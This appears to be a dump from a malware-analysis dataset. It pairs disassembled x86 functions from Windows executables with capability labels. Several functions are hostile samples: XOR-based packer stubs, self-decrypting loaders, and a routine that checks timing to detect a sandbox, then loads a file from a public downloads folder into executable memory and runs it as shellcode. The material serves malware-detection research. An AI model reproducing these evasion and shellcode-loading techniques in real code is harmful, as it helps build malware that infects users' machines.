joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4108a0
Capabilities:
Hash data with md5
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4a0
mov eax, dword [0x435090]
xor eax, esp
mov dword [esp + 0x49c], eax
push ebx
push esi
xor eax, eax
xor ebx, ebx
push ebx
mov dword [edi], eax
push ebx
mov dword [edi + 4], eax
push 3
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
push ebx
mov dword [edi + 0x10], eax
push 1
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], eax
push 0x80000000
mov dword [edi + 0x1c], eax
push ecx
mov byte [edi + 0x20], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [esp + 0xc], esi
cmp esi, 0xffffffff
jne 0x41090e
xor al, al
pop esi
pop ebx
mov ecx, dword [esp + 0x49c]
xor ecx, esp
call fcn.00411016
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [esp + 0xc]
push eax
push 0x400
lea ecx, [esp + 0xac]
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x30], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov dword [esp + 0x24], 0x67452301
mov dword [esp + 0x28], 0xefcdab89
mov dword [esp + 0x2c], 0x98badcfe
mov dword [esp + 0x30], 0x10325476
call ebx
test eax, eax
je 0x41098d
mov eax, dword [esp + 8]
test eax, eax
je 0x41098d
lea edx, [esp + 0xa0]
push edx
lea ecx, [esp + 0x14]
call fcn.00410020
add esp, 4
push 0
lea eax, [esp + 0xc]
push eax
push 0x400
lea ecx, [esp + 0xac]
push ecx
push esi
call ebx
test eax, eax
jne 0x410956
lea esi, [esp + 0x10]
lea ebx, [esp + 0x6c]
call fcn.004100e0
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
lea ebx, [esp + 0x7c]
jmp 0x4109b0
movzx eax, byte [esp + esi + 0x6c]
push eax
push str._02x
push 2
push ebx
call fcn.0041bc54
inc esi
add esp, 0x10
add ebx, 2
cmp esi, 0x10
jl 0x4109b0
push 0x20
lea ecx, [esp + 0x80]
push ecx
push edi
call fcn.00417fb0
mov ecx, dword [esp + 0x4b0]
add esp, 0xc
pop esi
pop ebx
xor ecx, esp
mov al, 1
call fcn.00411016
mov esp, ebp
pop ebp
ret

Function at 0x411016
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x435090]
jne 0x411020
repz ret
jmp fcn.0041201e
Function at 0x41a564
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x435090]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00413677
and dword [ebp - 0x14], 0
cmp dword [0x437908], 0
mov dword [ebp - 0x18], eax
jne 0x41a617
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41a6bf
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41a6bf
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x437908], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43790c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x437910], eax
call edi
push eax
call esi
mov dword [0x437918], eax
test eax, eax
je 0x41a617
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x437914], eax
mov eax, dword [0x437914]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41a670
cmp dword [0x437918], ecx
je 0x41a670
push eax
call esi
push dword [0x437918]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41a670
test ebx, ebx
je 0x41a670
call edi
test eax, eax
je 0x41a667
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41a667
test byte [ebp - 8], 1
jne 0x41a670
or dword [ebp + 0x10], 0x200000
jmp 0x41a6a3
mov eax, dword [0x43790c]
cmp eax, dword [ebp - 0x18]
je 0x41a6a3
push eax
call esi
test eax, eax
je 0x41a6a3
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41a6a3
mov eax, dword [0x437910]
cmp eax, dword [ebp - 0x18]
je 0x41a6a3
push eax
call esi
test eax, eax
je 0x41a6a3
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x437908]
call esi
test eax, eax
je 0x41a6bf
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41a6c1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411016
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x7bc81f54
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x7cab0185
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x100208d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x10050e0
cmp edx, dword [eax]
je 0x10020af
add eax, 8
inc ecx
cmp eax, 0x1005170
jl 0x10020a0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x10050e0]
jne 0x10021dd
mov eax, dword [0x1005498]
cmp eax, 1
je 0x10021b7
test eax, eax
jne 0x10020e0
cmp dword [0x1005034], 1
je 0x10021b7
cmp edx, 0xfc
je 0x10021dd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1002117
lea eax, [ebp - 0x1a4]
push 0x10013a4
push eax
call fcn.01002640
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.010027b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x100215a
lea eax, [ebp - 0x1a4]
push eax
call fcn.010027b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x10013a0
push edi
call fcn.01003440
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x1001384
push eax
call fcn.01002640
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.01002650
lea eax, [ebp - 0xa0]
push 0x1001380
push eax
call fcn.01002650
push dword [esi + 0x10050e4]
lea eax, [ebp - 0xa0]
push eax
call fcn.01002650
push 0x12010
lea eax, [ebp - 0xa0]
push 0x1001358
push eax
call fcn.010033ae
add esp, 0x2c
pop edi
jmp 0x10021dd
lea eax, [ebp + 8]
lea esi, [esi + 0x10050e4]
push 0
push eax
push dword [esi]
call fcn.010027b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4ec793
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ec37a

Function at 0x4ec79e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ec504
Function at 0x401b4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x401b5a
pop dword [ebp - 0x50]
mov eax, 0x89aa91c9
sub eax, 0x896a766f
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xc9c1db64
sub dword [ebp - 0x60], 0x7b6f9619
mov dword [ebp - 0x5c], 0x65e03a4a
add dword [ebp - 0x5c], 0xcc5311fb
mov dword [ebp - 0x58], 0xac17d161
sub dword [ebp - 0x58], 0x5fcb8d33
mov dword [ebp - 0x54], 0x7c2cdac5
sub dword [ebp - 0x54], 0x7c2cdac5
lea eax, [ebp - 0x60]
push eax
mov eax, 0xcbccc48f
sub eax, 0xcb8bf43b
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x3d045a5f
sub dword [ebp - 0x60], 0xc891f109
mov dword [ebp - 0x5c], 0xedaed463
sub dword [ebp - 0x5c], 0xac4272ee
mov dword [ebp - 0x58], 0x399c197f
sub dword [ebp - 0x58], 0xd62cad13
mov dword [ebp - 0x54], 0xe9472f60
sub dword [ebp - 0x54], 0xe9472f60
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3945d
push 0
call eax
mov ecx, 0x6504ef8f
add ecx, 0x9afb56ba
xor edx, edx
add edx, eax
mov esi, 0xb6195c9
sub esi, 0xb1fe5c9
add esi, dword [ebp - 0x50]
mov ebx, 0xff7ee892
sub ebx, 0x546e624b
add dword [ebp - 0x40], ecx
mov edi, dword [esi]
add dword [ebp - 0x24], ebx
xor edi, ebx
xor dword [ebp - 0x24], esi
mov dword [edx], edi
add dword [ebp - 0x10], 0x5495f06a
add edx, 0x20a45dae
add edx, 0xdf5ba256
add esi, 4
loop 0x401c79
add eax, 0x10bf7
mov ebx, eax
add eax, 0x7ad5df52
sub eax, 0x7ad5df4d
mov ecx, 0xb10e44b6
sub ecx, 0xb0ce44b6
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x335b786d
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x50317801
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40216b
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
call main
jmp 0x402175
push 0x14
push 0x411788
call fcn.00405300
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4021a3
xor ebx, ebx
jmp 0x4021d6
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40219f
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40219f
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4021d6
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004048ef
test eax, eax
jne 0x4021ea
push 0x1c
call main
pop ecx
call fcn.00403b58
test eax, eax
jne 0x4021fb
push 0x10
call main
pop ecx
call fcn.004051cc
and dword [ebp - 4], 0
call fcn.00404904
test eax, eax
jns 0x402215
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4162e8], eax
call main
mov dword [0x414430], eax
call main
test eax, eax
jns 0x40223b
push 8
call main
pop ecx
call fcn.00404de7
test eax, eax
jns 0x40224c
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x40225f
push eax
call main
pop ecx
call fcn.00405299
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x402281
push esi
call main
call fcn.00404663
jmp 0x4022b6
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00405345
ret

Function at 0x40369f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4036ae
pop dword [ebp - 0x10]
mov eax, 0xac07fb7
sub eax, 0xa804909
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x59290c61
sub dword [ebp - 0x20], 0xad6c716
mov dword [ebp - 0x1c], 0x1281ead
sub dword [ebp - 0x1c], 0xcef4d268
mov dword [ebp - 0x18], 0x38942c06
add dword [ebp - 0x18], 0x13b81828
mov dword [ebp - 0x14], 0xc86bc887
add dword [ebp - 0x14], 0x37943779
lea eax, [ebp - 0x20]
push eax
mov eax, 0xd2b88439
add eax, 0x2d884bfb
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x59f411de
sub dword [ebp - 0x20], 0xe581a888
mov dword [ebp - 0x1c], 0x600b0bb
sub dword [ebp - 0x1c], 0xc4944f46
mov dword [ebp - 0x18], 0xe55e825d
add dword [ebp - 0x18], 0x7e10ea0f
mov dword [ebp - 0x14], 0x29c5affc
sub dword [ebp - 0x14], 0x29c5affc
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xb703a5bd
add eax, 0x493d2a73
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3b857
push 0
call eax
mov ecx, 0xd70250db
sub ecx, 0xd701fe0f
xor esi, esi
add esi, eax
mov edi, 0x94a9f9d
add edi, 0xf6f77063
add edi, dword [ebp - 0x10]
mov edx, 0xe438a22
sub dword [ebp - 8], 0x7c78d1c5
mov ebx, dword [edi]
xor dword [ebp - 0xc], 0xb6d2f72d
add ebx, edx
xor dword [ebp - 4], 0x130358a9
mov dword [esi], ebx
sub dword [ebp - 4], ecx
add esi, 0x7121e43e
add esi, 0x8ede1bc6
add edi, 0x78d14405
sub edi, 0x78d14401
loop 0x4037cc
add eax, 0x47011ee9
add eax, 0xb9001f1a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x4011e1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
mov edi, 0x12c
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, ebx
sub eax, edi
cdq
mov edi, edx
mov esi, eax
push edi
push esi
push str.v4:_d_n
call fcn.00404454
xor esi, edi
sub esi, edi
add esp, 0xc
cmp esi, 0x64
jle 0x40122d
push str.sandbox____n
call fcn.00404454
pop ecx
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDownloadsuuoq.cp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x51
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40285a
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41839d
call fcn.00404978
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x40294f
cmp byte [esi + 0x49], bl
je 0x40294f
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402892
xor al, al
jmp 0x402951
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00402512
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4028f2
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x4028f7
dec eax
je 0x4028fb
dec eax
dec eax
je 0x40294b
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401c12
mov al, bl
pop edi
jmp 0x402951
mov edx, dword [ebp - 0x2c]
jmp 0x4028bc
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402907
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x40292d
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40291a
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0040569a
add esp, 0x10
cmp edi, eax
jne 0x4028df
cmp byte [esi + 0x49], 0
je 0x40294b
test edi, edi
jne 0x4028ae
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402408
jmp 0x4028ae
mov bl, 1
jmp 0x4028e1
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40295f
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x4183af
call fcn.00404978
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x40297c
xor eax, eax
jmp 0x4029a4
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x4029b4
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x4029b4
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x4029d4
mov ecx, esi
call fcn.00401986
cmp dword [esi + 0x44], edi
jne 0x4029d9
push dword [esi + 0x54]
push ebx
call fcn.00401fca
pop ecx
pop ecx
test al, al
jne 0x4029a1
or eax, 0xffffffff
jmp 0x4029a3
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00402512
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402a8c
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x402aaa
cmp eax, 1
jg 0x402a94
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402a40
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x402a66
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402a53
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0040569a
add esp, 0x10
cmp edi, eax
jne 0x402aaa
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x402ac0
test edi, edi
jne 0x4029f8
cmp dword [ebp - 0x24], 0x20
jae 0x402aaa
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.00402408
jmp 0x4029f8
mov edx, dword [ebp - 0x34]
jmp 0x402a0a
cmp eax, 3
jne 0x402aaa
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.00401fca
pop ecx
pop ecx
test al, al
jne 0x402ac0
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00401c12
mov eax, esi
jmp 0x4029a3
mov esi, dword [ebp + 8]
jmp 0x402aad

Function at 0x406603
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f920]
jne 0x40660d
repz ret
jmp fcn.0040df08
Function at 0x414114
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41f920]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040961c
and dword [ebp - 0x14], 0
cmp dword [0x421660], 0
mov dword [ebp - 0x18], eax
jne 0x4141c7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41426f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41426f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x421660], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x421664], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x421668], eax
call edi
push eax
call esi
mov dword [0x421670], eax
test eax, eax
je 0x4141c7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42166c], eax
mov eax, dword [0x42166c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414220
cmp dword [0x421670], ecx
je 0x414220
push eax
call esi
push dword [0x421670]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414220
test ebx, ebx
je 0x414220
call edi
test eax, eax
je 0x414217
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414217
test byte [ebp - 8], 1
jne 0x414220
or dword [ebp + 0x10], 0x200000
jmp 0x414253
mov eax, dword [0x421664]
cmp eax, dword [ebp - 0x18]
je 0x414253
push eax
call esi
test eax, eax
je 0x414253
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414253
mov eax, dword [0x421668]
cmp eax, dword [ebp - 0x18]
je 0x414253
push eax
call esi
test eax, eax
je 0x414253
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x421660]
call esi
test eax, eax
je 0x41426f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414271
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406603
leave
ret